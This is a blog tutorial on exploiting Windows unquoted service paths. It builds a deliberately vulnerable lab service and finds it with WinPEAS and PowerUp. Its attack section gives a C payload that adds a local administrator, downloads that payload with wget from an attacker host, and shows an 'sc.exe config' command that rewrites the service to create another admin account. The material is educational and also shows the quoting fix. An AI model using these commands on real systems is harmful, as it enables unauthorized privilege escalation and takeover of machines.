Path to Power: Unleashing Windows Privileges through Unquoted Service Paths

8 min read

December 10, 2023

Navigating the Active Directory Maze: Unveiling Hacking Strategies

Path to Power: Unleashing Windows Privileges through Unquoted Service Paths

Unveiling Unquoted Service Paths: An Introduction

Welcome to another insightful exploration in our ongoing series about mastering privilege escalation in Windows environments. Today's focus is on the intriguing and often underexplored Unquoted Service Path vulnerability. This vulnerability, while common in Windows systems, offers a unique avenue for escalating privileges and understanding the inner workings of Windows service executions. In this chapter, we're going deeper than just a surface-level understanding. We’ll embark on a comprehensive journey, starting from the basics of what Unquoted Service Path vulnerability is, moving through the nuances of its exploitation, and culminating in the creation of a practical lab environment for hands-on learning.

Our aim is to provide a holistic view of this vulnerability - not just to exploit it, but to truly grasp the why and how behind its existence and usage. Additionally, we'll cover how to take complete control of services, turning them from mere system operations into powerful tools for system administration and security manipulation. Whether you're a seasoned security professional or a curious enthusiast, this chapter promises to enhance your skill set and deepen your understanding of Windows security. So, let's begin this adventure and uncover the secrets of Unquoted Service Path exploitation.

Decoding the Vulnerability: What is Unquoted Service Path?

In the world of Windows operating systems, services are the unsung heroes, running silently in the background to perform a variety of tasks. When these services are installed, they're linked to a specific file path. However, there's a catch: if this file path, containing spaces, isn't wrapped in quotation marks, it opens up a security loophole. Windows, you see, reads the space as a command separator, paving the way for potential exploitation by attackers through service manipulation or executing harmful code. Here's a diagram to visualize the vulnerability:

In this diagram, the service binary is "vulnerable.exe", but due to spaces, Windows perceives multiple paths:

C:\Program
C:\Program Files\Vuln
C:\Program Files\Vuln Service\vulnerable.exe

If we have write access to any of these paths, it becomes a gateway for privilege escalation. For instance, with write permission on "Program Files", we could create a file named "Vuln.exe" (as the next directory is "Vuln Service") that would execute upon the service's launch. This is just the tip of the iceberg, though. To really get a handle on this, let's set up a lab environment!

Setting the Stage: Lab Preparation for Attack Simulation

Let's start by creating a directory for our service-executed binary. Remember, these steps require administrator-level access:

mkdir "C:\Program Files\Kayssel Archive\Vuln Service"

Next, we assign write permissions to the Users group for this directory:

icacls "C:\Program Files\Kayssel Archive" /grant "Users:(OI)(CI)W"

This setup means any user in this group can now create files here, a crucial step for our privilege escalation practice. If we skip this, non-administrator users won't have the necessary file creation rights.

Now, we need a program that can run as a service. I've used this one from GitHub:

It's a simple program that writes the date and time to a file in "C:". The "WindowsService.exe" found in the repository's "bin/debug" will be our service binary, renamed as "vulnerable.exe".

After setting everything up, it's time to create the service. I used sc.exe, but you could also use PowerShell's "New-Service":

# Create a service with sc.exe
sc.exe create BadPath binPath= "C:\Program Files\Kayssel Archive\Vuln Service\vulnerable.exe" start= auto

# Create a service with New-Service
New-Service -Name "BadPath" -BinaryPathName "C:\Program Files\Kayssel Archive\Vuln Service\vulnerable.exe"

Once the service is created, we can manage it using PowerShell.

To assign the required permissions for privilege escalation to a specific user, use this PowerShell script:

# Intall it if you do not have the Carbon Module
Install-Module -Name 'Carbon' -Force -AllowClobber

# Import the carbon module
Import-Module Carbon

# Define service name and user name
$serviceName = "vulns"
$userName = "beruinsect"

# Get the user's SID (security identifier)
$userSID = (New-Object System.Security.Principal.NTAccount($userName)).Translate([System.Security.Principal.SecurityIdentifier]).Value

#Grant permissions to start, stop and restart the service to the user.
Grant-ServicePermission -Name $serviceName -Identity $userName -FullControl

To avoid the vulnerability, the service path should be enclosed in quotes:

sc create BadPath binPath= "\"C:\Program Files\Kayssel Archive\Vuln Service\vulnerable.exe\"" start= auto

New-Service -Name "BadPath" -BinaryPathName '"C:\Program Files\Kayssel Archive\Vuln Service\vulnerable.exe"'

While this corrects the path issue, it doesn't address the broader vulnerability due to the permissions granted to "beruinsect". We'll explore this more towards the end of the chapter.

With the lab setup complete, let's move on to simulating a privilege escalation attack.

The Art of the Attack: Exploiting Unquoted Service Paths

For this attack, I'm using the user "beruinsect", a standard user not in the administrators' group. To detect the vulnerability, we can use Winpeas, just as we did with DLL hijacking:

.\winpeas.exe | tee win_report.txt

Winpeas Execution and Results Filtering:

cat .\win_report.txt | select-string "No quotes and space detected"

This will reveal the vulnerable path we created. Another tool for identifying escalation vectors is PowerUp, which you can find here:

PowerUp can be executed on the victim machine to detect vulnerable services:

# Import and execute PowerUp
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted -Verbose

Additionally, you can manually inspect the services and their paths in PowerShell:

Get-WmiObject -Query "SELECT * FROM Win32_Service" | Select-Object DisplayName, PathName

Get-Service

Once we've located the vulnerable path, it's time to craft a binary that exploits this weakness. Here's a simple C program for creating a user with administrative rights:

#include <stdlib.h>

int main() {
  system("net user rsgbengi Password123 /add");
  system("net localgroup administrators rsgbengi /add");
}

To compile the program, we can use the following command. It is important that we call the binary "Vuln.exe" as this will cause the malicious code to be executed when the vulnerable service is started.

x86_64-w64-mingw32-gcc-win32 vuln.c -o Vuln.exe

Transfer this binary to the target using a Python server and wget:

wget http://192.168.1.146:9000/Vuln.exe -OutFile Vuln.exe

Use wget to leave the file in the vulnerable path

After starting the service, an error might occur, but our malicious user will be created successfully. Verify the user's administrative privileges with Crackmapexec (remember to disable UAC as mentioned in the previous chapter).

Checking that the user has administrator privileges

Beyond the Attack: Understanding Broader Implications

Our service configuration also exposes another flaw: giving a standard user full control over an administrator-level service can allow them to alter its functionality. For example, they could change the service to create another user with administrative privileges:

sc.exe config "BadPath" binpath= "net user stillVulnerable Password1 /add"

Wrapping Up: Key Takeaways and Next Steps

As we wrap up this comprehensive chapter on Unquoted Service Path vulnerabilities in Windows, it's clear that we've journeyed through a landscape rich in technical knowledge and practical application. From dissecting the very nature of this common yet critical vulnerability to setting up our own lab and executing a successful privilege escalation attack, we've covered significant ground. This exploration has not only equipped us with the practical skills to exploit such vulnerabilities but also with the theoretical understanding to appreciate their intricacies.

What makes this journey invaluable is the balanced blend of theory and practice, providing a solid foundation for anyone looking to delve deeper into the world of cybersecurity, especially within Windows environments. As we continue to navigate through the vast and evolving terrain of cybersecurity, the insights gained in this chapter will undoubtedly be pivotal, be it in professional penetration testing, preparing for certifications like OSCP, or just enhancing personal knowledge.

Looking forward, the world of cybersecurity is ever-changing, and staying ahead means continuously learning and adapting. The skills and understanding developed here are not just end goals but stepping stones to more advanced techniques and strategies. So, stay curious, keep experimenting, and prepare for even more exciting chapters in this series, where we'll continue to unravel the complexities of cybersecurity together.